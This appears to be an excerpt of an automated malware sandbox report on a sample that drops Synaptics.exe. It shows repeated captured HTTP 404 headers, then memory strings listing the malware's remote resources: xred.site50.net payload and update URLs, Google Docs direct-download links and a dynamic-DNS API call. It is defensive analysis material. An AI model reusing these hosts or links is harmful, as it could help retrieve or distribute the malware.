Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7WcKhp1LUAZoi2Pk8D9h_Wc_IfSHcez4_jVncRNQkjXtkG1Boyt3gPVK6JNACFf-ZJContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:44 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-mQOVI_DK2cCJxjn9b3fsnQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4KnL8DQyXgVYhc0WBgYGJA9s-QkBMW7-lgqFEMC5KZVkew_z4hpWkorJRGoVKa0_-FContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:44 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-UiujMSDdO0r515-o2Wxxug' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC7H75kQ1oq0DhRWSnOaCngEEaftGMxnRxrnZ3aMA2Netfnmqb7aHpfVxqMSkHOwc6PyContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:45 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-ygiuSFCh1JHyzxrpHP2hDg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4OX98FEbu99rrRT2_mwEd_on3555nJutX1FY5WhNlodM0fCF7otgV2MKlqvjiOMfTjZfQu1UAContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:45 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-nMjtv2hEanorqHxW2pSBuA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5WXOrltfxYQoNW7rsoo6nbe6qbchiMwjcBIZx-ZKyOrU_jWegIvjc19GMgWlytkoACzA2t3xcContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:46 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-ZaBY3iM4z61Dt2dwLYkeXw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4zDqxNlJffJbHHLPMX4UG4ep6mltqhYKkEJEoMnbjR2nilax58cTyR5cbXbP2FsmWoContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:46 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-aNy2uUPAgve6DpAmPK4CJw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC60D28hSnAjsFkqq_9YxQ39fWr1dBPjRInKTFQvR0dg9UJs9-G0wzkxZv93kvRQ01B_D0ZALoIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:48 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-hh5O9EJKVo1I3i4JVAt-yw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC62u6T4_pHfn8DA2HGEuyahzKtFHksFt-c_HUzwAJfeQY_q7HOqhqBN9vCNkU4RJs4UContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:49 GMTPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-LQ0lPxpaC5DOXCwlfY1svA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6XZoDr-dgiBcux4BSNvCBT1S1etRy9rAqKdGnDSVj1AXQI7fCb6cKYmiJaNI7jyy4U_3rxuZIContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:49 GMTContent-Security-Policy: script-src 'report-sample' 'nonce-rlTm53GS8CrRuVrAE_1hWQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportCross-Origin-Opener-Policy: same-originPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC4ojtyPwIJws4gg0bYSFX04zrLNquL5_7qvbcDSEwmP6vxx0swZjcZjf97rgoGeJLaOkGNBttsContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:50 GMTContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-VumxtV6o_DNnUmkmGGqDbA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Cross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC5jNYlhY9DK4eGdtIPBiEYRuSJ_DVxyus1FEtLxEoFz8ABSidZjZQ8r-I6q2rKXMvjrContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:29:50 GMTCross-Origin-Opener-Policy: same-originContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-soWjeBb5dk9GdvDT8ECZgA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionPermissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundX-GUploader-UploadID: AFiumC6uvLnSJNJrjPnZyNP9f7Qdt5In1R6iaVJlDR38mWIZg15pB_Wxt0yWgZCJdizXDvrZContent-Type: text/html; charset=utf-8Cache-Control: no-cache, no-store, max-age=0, must-revalidatePragma: no-cacheExpires: Mon, 01 Jan 1990 00:00:00 GMTDate: Thu, 02 Jan 2025 19:30:11 GMTCross-Origin-Opener-Policy: same-originAccept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-VersionContent-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreportContent-Security-Policy: script-src 'report-sample' 'nonce-XQnCRtRqAFPodMi0yFq8Cw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self'Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=*Content-Length: 1652Server: UploadServerAlt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000Content-Security-Policy: sandbox allow-scriptsConnection: close

Source: file.exe, 00000000.00000000.1251479603.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2288511831.0000000002120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978
Source: file.exe, 00000000.00000003.1264938493.0000000002260000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978t
Source: ._cache_file.exe, 00000002.00000003.1274116896.000000000246A000.00000004.00000020.00020000.00000000.sdmp, dxwsetup.exe, 00000006.00000000.1278195181.00000000002DD000.00000002.00000001.01000000.00000007.sdmp, dxwsetup.exe, 00000006.00000003.1287300089.00000000011C6000.00000004.00000020.00020000.00000000.sdmp, SET8EBB.tmp.6.dr	String found in binary or memory: http://www.BetaPlace.com
Source: ._cache_file.exe, 00000002.00000003.1274116896.000000000246A000.00000004.00000020.00020000.00000000.sdmp, dxwsetup.exe, 00000006.00000000.1278195181.00000000002DD000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.BetaPlace.com.?
Source: ._cache_file.exe, 00000002.00000003.1274116896.000000000246A000.00000004.00000020.00020000.00000000.sdmp, dxwsetup.exe, 00000006.00000000.1278195181.00000000002DD000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.BetaPlace.comEContinuare
Source: ._cache_file.exe, 00000002.00000003.1274116896.000000000246A000.00000004.00000020.00020000.00000000.sdmp, dxwsetup.exe, 00000006.00000000.1278195181.00000000002DD000.00000002.00000001.01000000.00000007.sdmp, dxwsetup.exe, 00000006.00000003.1287300089.00000000011C6000.00000004.00000020.00020000.00000000.sdmp, SET8EBB.tmp.6.dr	String found in binary or memory: http://www.betaplace.com
Source: ._cache_file.exe, 00000002.00000003.1274116896.000000000246A000.00000004.00000020.00020000.00000000.sdmp, dxwsetup.exe, 00000006.00000003.1287300089.00000000011C6000.00000004.00000020.00020000.00000000.sdmp, SET8EBB.tmp.6.dr	String found in binary or memory: http://www.betaplace.com.
Source: ._cache_file.exe, 00000002.00000003.1274116896.000000000246A000.00000004.00000020.00020000.00000000.sdmp, dxwsetup.exe, 00000006.00000000.1278195181.00000000002DD000.00000002.00000001.01000000.00000007.sdmp	String found in binary or memory: http://www.betaplace.com.DInstalacn
Source: file.exe, 00000000.00000003.1264938493.0000000002260000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dl
Source: file.exe, 00000000.00000000.1251479603.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000004.00000002.2288511831.0000000002120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SSLLibrary.dll
Source: file.exe, 00000000.00000000.1251479603.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000004.00000002.2288511831.0000000002120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SUpdate.ini
Source: file.exe, 00000000.00000003.1264938493.0000000002260000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/SUpdate.ini0&
Source: file.exe, 00000000.00000000.1251479603.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000004.00000002.2288511831.0000000002120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rar
Source: file.exe, 00000000.00000003.1264938493.0000000002260000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://xred.site50.net/syn/Synaptics.rard
Source: Synaptics.exe, 00000004.00000002.2284139607.00000000007FE000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007227000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/
Source: Synaptics.exe, 00000004.00000002.2328156074.000000001037E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2339136007.000000001823E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2342635471.000000001AB7E000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0;
Source: file.exe, 00000000.00000003.1264938493.0000000002260000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=downlo
Source: file.exe, 00000000.00000000.1251479603.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Synaptics.exe, 00000004.00000002.2288511831.0000000002120000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download
Source: file.exe, 00000000.00000003.1264938493.0000000002260000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=downlo
Source: Synaptics.exe, 00000004.00000002.2321971186.000000000EF01000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2332675683.0000000013B3E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2387768013.000000002C23E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2404788593.000000003180E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2311064966.0000000009F3E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2409101981.00000000343CE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2328752029.0000000010AFE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2336595033.000000001693E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2385424917.000000002AA7E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2311639252.000000000A57E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2372888350.0000000022EBE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2378847290.00000000266FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2371526257.00000000220FE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2373680857.000000002377E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2333567801.000000001467E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2328255888.00000000104BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2359687557.000000001E93E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2384939557.000000002A57E000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2405151199.0000000031BCE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2399545647.000000002E4BE000.00000004.00000010.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2317609381.000000000D3BE000.00000004.00000010.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download
Source: Synaptics.exe, 00000004.00000002.2321971186.000000000EF01000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#
Source: Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#5
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download#r
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2324126322.000000000F02B000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC3A000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2351047160.000000001DBCA000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007227000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2320716788.000000000EE42000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2356528382.000000001DE5B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052D3000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$YL
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download$s
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007279000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.00000000072BF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download%
Source: Synaptics.exe, 00000004.00000002.2348080955.000000001DA6D000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2352346675.000000001DC47000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2284139607.0000000000812000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2302077647.0000000007367000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2326518433.000000000F1E8000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2325143864.000000000F0A4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&
Source: Synaptics.exe, 00000004.00000002.2323125188.000000000EF86000.00000004.00000020.00020000.00000000.sdmp, Synaptics.exe, 00000004.00000002.2354766641.000000001DD78000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&L
Source: Synaptics.exe, 00000004.00000002.2295363513.00000000052A0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download&expo
